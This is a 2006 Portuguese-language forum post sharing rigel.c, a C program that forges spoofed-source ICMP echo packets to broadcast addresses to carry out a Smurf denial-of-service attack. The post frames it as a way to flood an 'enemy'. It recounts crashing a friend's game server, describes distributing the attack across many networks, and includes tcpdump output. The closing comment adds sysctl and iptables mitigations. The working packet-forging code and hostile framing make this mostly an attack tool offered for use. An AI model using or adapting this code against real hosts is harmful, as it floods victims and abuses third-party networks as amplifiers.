Smurf DoS

Started by Anonymous, 09 de August , 2006, 01:01:15 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Um codigo que eu fiz esse ano ainda quando eu estava sem net =L
É pra linux ein!
Mais um 1337 \o/
Nunca montei uma rede entao algum desses comentarios meus podem estar errados.
Outra coisa que ouvir dizer é q nao existe ip broadcast respondendo a ping logo ja era meu sonho =L
/*
    Se sua etica for de fazer um exploit e so testa ele em localhost nao
    recomendo essa leitura pq vc provavelmente nao vera utilidade.
   
    rigel.c ferramenta que demonstra um tipo de ataque DoS conhecido como
    Smurf.
    por dvdscripter.

    Comentarios e explicacoes:

    Depois de algumas leituras de tecnicas meio antigas acho que essa
    ainda pode fude =X
    Eu tenho uma shell ai e fiz um teste enviando pings de 65000 bytes
    para um servidor de tibia em discada de um colega meu em 5 min ele caiu.
    Fiz um teste comigo e com umas regras tosca do iptables ja resolveu
    o probe mas nao adianta iptables se nao tiver banda ^^ foi entao q
    descobri essa tecnica muito da ROX chamada Smurf vo explica como ela
    funciona:

    Voce quer fuder seu inimigo X mas nao quer uma coisa muito trabalhosa
    entao o que nos fazemos achamos umas 3 redes com banda fudida e mandamos
    um ping "grande" pro endereco de broadcast dizendo que vc e o X
    Agora realiza a cena seu inimigo recebendo pings de varias redes
    sem para vai rola um lentidao do capeta =*

    O que eu to tentando implementa aqui e um smurf distribuido iremos
    "pingar" varias redes de classe C escolhidas por nos modificando o
    endereco de origem para o inimigo.
    Voce tbm pode "pingar" uma rede de classe B vai se um estrago do capeta
    e é uma tecnica facil ;P

    Este documento pode ser copiado, apagado, editado, queimado...
    Sem nem precisar mencionar o nome do autor

    Desenvolvimento:

    Ainda nao sei como mandar esse pacote para o endereco broadcast das redes
    acho q tem alguma coisa a ver com a funcao sendmsg:

dvdscripter@gatetohell:~$ ping -b 127.0.0.0 -s 65000
WARNING: pinging broadcast address
PING 127.0.0.0 (127.0.0.0) 65000(65028) bytes of data.
ping: sendmsg: Message too long

dvdscripter@gatetohell:~$ ping -b 127.0.0.0 -s 650000
WARNING: pinging broadcast address
WARNING: probably, rcvbuf is not enough to hold preload.
Error: packet size 650000 is too large. Maximum is 65507

    O pacote com 65507 sofre uma fragmentacao para se mover na rede mas eu
    ainda nao sei o que define o tamanho maximo mas com as "sniffada" que eu
    dei percebi que "aqui" o tamanho maximo de cada pacote pode ser 16436 sem
    sofrer fragmentacao mais do que isso ja fragmenta.
   
    Oia isso

dvdscripter@gatetohell:~$ cat /proc/sys/net/ipv6/conf/lo/mtu
16436
   
    Legal ne eu to usando ipv4 e o tamanho e igual ao do ipv6, interessante
    que quando eu tento pega o MTU usando IP_MTU fala que nem existe essa
    opcao ¬¬ getsockopt mongol aqui.

    Estou comecando a achar q nem existe a macro
    HOWHOWHOWHOW pls type man 7 ip

       IPv4 addresses are divided into unicast, broadcast and mul-
       ticast addresses. Unicast addresses specify a  single  interface  of  a
       host,  broadcast addresses specify all hosts on a network and multicast
       addresses address all hosts in a multicast group. Datagrams  to  broad-
       cast  addresses  can  be  only  sent  or received when the SO_BROADCAST
       socket flag is set.  In the current implementation connection  oriented
       sockets are only allowed to use unicast addresses.
       (...)
       Be very careful with the SO_BROADCAST option - it is not privileged  in
       Linux. It is easy to overload the network with careless broadcasts. For
       new application protocols it is better to use a multicast group instead
       of broadcasting. Broadcasting is discouraged.

    MAS QUE DISGRACA eu fico de bobera como a documentacao do linux e boa :)
    man 7 socket && man setsockopt

    So pra confirma:

root@gatetohell:~# tcpdump -XX -vv -i any
tcpdump: WARNING: Promiscuous mode not supported on the "any" device
tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 96
bytes 20:32:47.735229 IP (tos 0x0, ttl 255, id 0, offset 0, flags [DF], proto:
ICMP (1), length: 16436) 200.0.0.1 > 127.0.0.0: ICMP echo request, id 0, seq 1,
length 16416
        0x0000:  0000 0304 0000 0000 0000 0000 0000 0800  ................
        0x0010:  4500 4034 0000 4000 ff01 f4c6 c800 0001  E.@4..@.........
        0x0020:  7f00 0000 0800 f7fe 0000 0001 4444 4444  ............DDDD
        0x0030:  4444 4444 4444 4444 4444 4444 4444 4444  DDDDDDDDDDDDDDDD
        0x0040:  4444 4444 4444 4444 4444 4444 4444 4444  DDDDDDDDDDDDDDDD
        0x0050:  4444 4444 4444 4444 4444 4444 4444 4444  DDDDDDDDDDDDDDDD

    Nao tem resposta pq o ip de origem ai e mais falso do que cd no camelo.
    Agora so falta aprende a fragmenta os pacotitos UHUW macaco feliz \o/
    To imaginando vo envia 5 pacotes e o meu alvo vai recebe 500 IAUHDFIUAHDFI
    ignorante tem merda mais facil nao. Podia ter jeito de fazer isso so que
    respondendo com um pacote ip/tcp flag syn ativado ia se fuderoso.

    Coisa legal para se saber sobre as redes:

    Classe A pode ter ate 16777215 maquinas xP
    Classe B pode ter ate 65535 :)
    Classe C pode ter ate 255 :/

    Solução:

    Podemos configurar o kernel em tempo real para que ele ignore broadcast
    ping.

root@gatetohell:~# sysctl net.ipv4.icmp_echo_ignore_broadcasts=1

    O valor pode ser 0 ou 1 (falso ou verdadeiro).
    Confirmando a configuracao podemos testar assim:

dvdscripter@gatetohell:~$ ping -b 127.0.0.0 -c 1
WARNING: pinging broadcast address
PING 127.0.0.0 (127.0.0.0) 56(84) bytes of data.
--- 127.0.0.0 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

    Como iptables ta na moda irei apresentar a solucao usando ele tbm ;P
    Vamos usar o modulo addrtype seguido da opcao --dst-type

root@gatetohell:~# iptables -A INPUT -m addrtype --dst-type BROADCAST -j DROP
dvdscripter@gatetohell:~$ ping -b 127.0.0.0 -c 1
WARNING: pinging broadcast address
PING 127.0.0.0 (127.0.0.0) 56(84) bytes of data.
--- 127.0.0.0 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

    Isso vai te impedir de ser usado como ferramenta dos outros, uma solucao
    contra essa tecnica seria ignorar todos os ping (echo reply) mas vc sabe
    ne como eu disse no comeco o tamanho da sua banda e importante se o cabra
    tiver decidido a parar o seu sistema.

    Referencias:
    man 7 ip
    man 7 raw
    man 7 socket
    man 7 icmp
    man 8 sysctl
    man 8 iptables
    iptables -m addrtype -h
    vim /usr/include/netinet/ip.h
    vim /usr/include/netinet/ip_icmp.h
    Guia Foca GNU/Linux Avancado - Redes por Gleydson Mazioli da Silva
    Equinox Green Volume I - Tutorial de Sockets por Antonio Marcelo
    Introducao ao DoS por Jerry Slater
    MOTD Guide 02 - TCP/IP por SkyNet45
    Revista H4CK3R ano III #3 - Pequenas Alterações Grandes Mudanças
   
    Seja livre construa sua propria etica!

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <string.h>

#define Tip sizeof(struct iphdr)
#define Ticmp sizeof(struct icmphdr)
#define Tpkt 16436

unsigned short int in_cksum(unsigned short int *addr,int len);

int main(int argc, char *argv[]) {
#ifndef RIGEL
    exit(0);
#endif
    if (geteuid()) {
    printf("Este software utiliza raw sockets.\n"
    "Mais informacoes $man 7 raw\n");
    exit(0);
    }
    if (argc < 3) { 
printf("Usando: %s <source ip> <broadcast ip>\n",argv[0]);
exit(0);
    }
    struct iphdr *IPHDR;
    struct icmphdr *ICMPHDR;
    struct sockaddr_in target;
    char *pkt;
    int s,opt=1;

    s=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
    setsockopt(s,SOL_SOCKET,SO_BROADCAST,&opt,sizeof(int));
   
    pkt=malloc(Tpkt);
    IPHDR=(struct iphdr *)&pkt[0];
    ICMPHDR=(struct icmphdr *)&pkt[Tip];
    IPHDR->ihl=5;
    IPHDR->version=IPVERSION;
    IPHDR->tos=0;
    IPHDR->tot_len=htons(Tpkt);
    IPHDR->id=0;
    IPHDR->frag_off=htons(IP_DF);
    IPHDR->ttl=MAXTTL;
    IPHDR->protocol=IPPROTO_ICMP;
    IPHDR->saddr=inet_addr(argv[1]);
    IPHDR->daddr=inet_addr(argv[2]);
    IPHDR->check=0;
    IPHDR->check=in_cksum((unsigned short *)&pkt[0],Tip);

    ICMPHDR->type=ICMP_ECHO;
    ICMPHDR->code=0;
    ICMPHDR->un.echo.id=0;
    ICMPHDR->un.echo.sequence=htons(1);
    ICMPHDR->checksum=
        in_cksum((unsigned short *)&pkt[Tip],Ticmp+(Tpkt-Tip-Ticmp));

    memset(&pkt[Tip+Ticmp],'D',Tpkt-(Tip+Ticmp));
    target.sin_addr.s_addr=IPHDR->daddr;
    target.sin_family=AF_INET;
    target.sin_port=IPPROTO_IP;

    sendto(s,pkt,Tpkt,0,(struct sockaddr *)&target,sizeof(struct sockaddr));
    free(pkt);
    return 0;
}

unsigned short int in_cksum(unsigned short int *addr,int len) {
    register int sum = 0;
    u_short answer = 0;
    register u_short *w = addr;
    register int nleft = len;
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}